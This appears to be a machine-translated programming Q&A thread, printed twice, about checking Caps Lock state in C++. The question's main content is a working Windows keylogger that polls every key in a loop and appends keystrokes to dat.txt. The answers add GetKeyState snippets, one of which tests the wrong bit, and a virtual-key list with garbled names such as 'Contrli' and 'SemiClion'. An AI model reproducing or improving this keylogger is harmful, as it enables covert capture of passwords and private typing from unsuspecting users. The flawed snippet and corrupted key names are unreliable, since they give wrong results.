在 C++ 中检查 CAPSLOCK 是否为 on/off
Check whether CAPSLOCK is on/off in C++
你好,我有这段代码可以记录击键并将其保存在 dat.txt 文件中,
但是不能区分b/w大小写字母,
它写下所有大写字符,如 "ABCDEFG" 而不是 "abcdefg"。
我需要一个代码来检查 capslock 是否为 ON/OFF。
然后按原样保存输出。
#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << input;
LogFile.close();
}
}
bool SpecialKeys(int S_Key)
{
switch (S_Key) {
case VK_SPACE:
LOG(" ");
return true;
case VK_RETURN:
LOG("\n");
return true;
case VK_SHIFT:
LOG("[SHIFT]");
return true;
case VK_CAPITAL:
LOG("[CAPSLOCK]");
return true;
case VK_OEM_8:
LOG("!");
return true;
case VK_MULTIPLY:LOG("*");
return true;
default:
return false;
}
}
int main() {
char KEY = 'x';
while (true) {
Sleep(10);
for (int KEY = 0; KEY <= 255; KEY++) {
if (GetAsyncKeyState(KEY) == -32767) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(KEY);
LogFile.close();
}
}
}
}
return 0;
}
您可以使用 GetKeyState function to Retrieve the status of the specified virtual key.
The return value specifies the status of the specified virtual
key, as follows:
If the high-order bit is 1, the key is down;
otherwise, it is up. If the low-order bit is 1, the key is toggled. A
key, such as the CAPS LOCK key, is toggled if it is turned on. The key
is off and untoggled if the low-order bit is 0. A toggle key's
indicator light (if any) on the keyboard will be on when the key is
toggled, and off when the key is untoggled.
VK_CAPSLOCK = 0x14;
.
if(GetKeyState(VK_CAPSLOCK) < 0)
{
// The CAPSLOCK IS ON
}
else
{
// The CAPSLOCK IS OFF
}
GetKeyState函数让您知道按键的状态,每个键盘按钮都有自己唯一的按键编号。访问 here1 or here2 了解更多信息。
if (GetKeyState(20)) {
//cout << "Capslock is ON";
}
else {
//cout << "Capslock is OFF";
}
我正在回答我自己的问题,以帮助其他学生,就像我得到帮助一样。如果 link 不起作用,请查看下面的虚拟键代码列表:
BackSpace=8
Tab=9
Return=13
Command=15M
Shift=16
Contrli=17
Alt=18
Pause=19
CapsLock=20
Escape=27
Space=32
PageUp=33
PageDown=34
End=35
Home=36
Left=37
Up=38
Right=39
Down=40
PrintScreen=44
Insert=45
Delete=46
0=48
1=49
2=50
3=51
4=52
5=53
6=54
7=55
8=56
9=57
A=65
B=66
C=67
D=68
E=69
F=70
G=71
H=72
I=73
J=74
K=75
L=76
M=77
N=78
O=79
P=80
Q=81
R=82
S=83
T=84
U=85
V=86
W=87
X=88
Y=89
Z=90
LWin=91*
RWin=92*
Apps=93*
NumPad0=96
NumPad1=97
NumPad2=98
NumPad3=99
NumPad4=100
NumPad5=101
NumPad6=102
NumPad7=103
NumPad8=104
NumPad9=105
Multiply=106
Add=107
Subtract=109
Decimal=110
Divide=111
F1=112
F2=113
F3=114
F4=115
F5=116
F6=117
F7=118
F8=119
F9=120
F10=121
F11=122
F12=123
F13=124
F14=125
F15=126
F16=127
NumLock=144
ScrlilLock=145
LShift=160**
RShift=161**
LContrli=162**
RContrli=163**
LAlt=164**
RAlt=165**
SemiClion=186
Equals=187
Comma=188
UnderScore=189
Period=190
Slash=191
BackSlash=220
RightBrace=221
LeftBrace=219
Apostrophe=222
你好,我有这段代码可以记录击键并将其保存在 dat.txt 文件中, 但是不能区分b/w大小写字母, 它写下所有大写字符,如 "ABCDEFG" 而不是 "abcdefg"。 我需要一个代码来检查 capslock 是否为 ON/OFF。 然后按原样保存输出。
#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << input;
LogFile.close();
}
}
bool SpecialKeys(int S_Key)
{
switch (S_Key) {
case VK_SPACE:
LOG(" ");
return true;
case VK_RETURN:
LOG("\n");
return true;
case VK_SHIFT:
LOG("[SHIFT]");
return true;
case VK_CAPITAL:
LOG("[CAPSLOCK]");
return true;
case VK_OEM_8:
LOG("!");
return true;
case VK_MULTIPLY:LOG("*");
return true;
default:
return false;
}
}
int main() {
char KEY = 'x';
while (true) {
Sleep(10);
for (int KEY = 0; KEY <= 255; KEY++) {
if (GetAsyncKeyState(KEY) == -32767) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(KEY);
LogFile.close();
}
}
}
}
return 0;
}
您可以使用 GetKeyState function to Retrieve the status of the specified virtual key.
The return value specifies the status of the specified virtual key, as follows: If the high-order bit is 1, the key is down; otherwise, it is up. If the low-order bit is 1, the key is toggled. A key, such as the CAPS LOCK key, is toggled if it is turned on. The key is off and untoggled if the low-order bit is 0. A toggle key's indicator light (if any) on the keyboard will be on when the key is toggled, and off when the key is untoggled.
VK_CAPSLOCK = 0x14;
.
if(GetKeyState(VK_CAPSLOCK) < 0)
{
// The CAPSLOCK IS ON
}
else
{
// The CAPSLOCK IS OFF
}
GetKeyState函数让您知道按键的状态,每个键盘按钮都有自己唯一的按键编号。访问 here1 or here2 了解更多信息。
if (GetKeyState(20)) {
//cout << "Capslock is ON";
}
else {
//cout << "Capslock is OFF";
}
我正在回答我自己的问题,以帮助其他学生,就像我得到帮助一样。如果 link 不起作用,请查看下面的虚拟键代码列表:
BackSpace=8
Tab=9
Return=13
Command=15M
Shift=16
Contrli=17
Alt=18
Pause=19
CapsLock=20
Escape=27
Space=32
PageUp=33
PageDown=34
End=35
Home=36
Left=37
Up=38
Right=39
Down=40
PrintScreen=44
Insert=45
Delete=46
0=48
1=49
2=50
3=51
4=52
5=53
6=54
7=55
8=56
9=57
A=65
B=66
C=67
D=68
E=69
F=70
G=71
H=72
I=73
J=74
K=75
L=76
M=77
N=78
O=79
P=80
Q=81
R=82
S=83
T=84
U=85
V=86
W=87
X=88
Y=89
Z=90
LWin=91*
RWin=92*
Apps=93*
NumPad0=96
NumPad1=97
NumPad2=98
NumPad3=99
NumPad4=100
NumPad5=101
NumPad6=102
NumPad7=103
NumPad8=104
NumPad9=105
Multiply=106
Add=107
Subtract=109
Decimal=110
Divide=111
F1=112
F2=113
F3=114
F4=115
F5=116
F6=117
F7=118
F8=119
F9=120
F10=121
F11=122
F12=123
F13=124
F14=125
F15=126
F16=127
NumLock=144
ScrlilLock=145
LShift=160**
RShift=161**
LContrli=162**
RContrli=163**
LAlt=164**
RAlt=165**
SemiClion=186
Equals=187
Comma=188
UnderScore=189
Period=190
Slash=191
BackSlash=220
RightBrace=221
LeftBrace=219
Apostrophe=222